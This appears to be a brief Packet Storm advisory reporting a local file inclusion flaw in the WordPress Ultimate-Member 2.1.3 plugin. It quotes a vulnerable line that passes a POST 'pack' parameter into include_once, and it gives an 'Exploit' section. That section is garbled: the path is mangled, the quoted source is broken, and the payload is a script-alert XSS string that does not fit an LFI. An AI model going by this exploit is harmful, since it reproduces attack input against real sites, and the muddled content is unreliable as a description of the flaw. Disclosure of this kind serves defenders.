WordPress Ultimate-Member 2.1.3 Local File Inclusion

WordPress Ultimate-Member plugin version 2.1.3 suffers from a local file inclusion vulnerability.

MD5 | 024ba882272c907c80a19e55a4273f14

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[-] Title  : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
[-] Author : mehran feizi
[-] Category : Webapps
[-] Date : 2020-02-11
[-] vendor home page: https://wordpress.org/plugins/ultimate-member/

Vulnerable Page:
/class-admin-upgrade.php


Vulnerable Source:
354: if(empty($_POST['pack'])) else
356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR .
$_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php';


Exploit:
localhost/wp-content/plugins/worprees plugin bug
dar/ultimate-member/includes/admin/core/class-admin-upgrade.php
$_POST('pack')=<script>alert('xss')</script>

Source: packetstormsecurity.com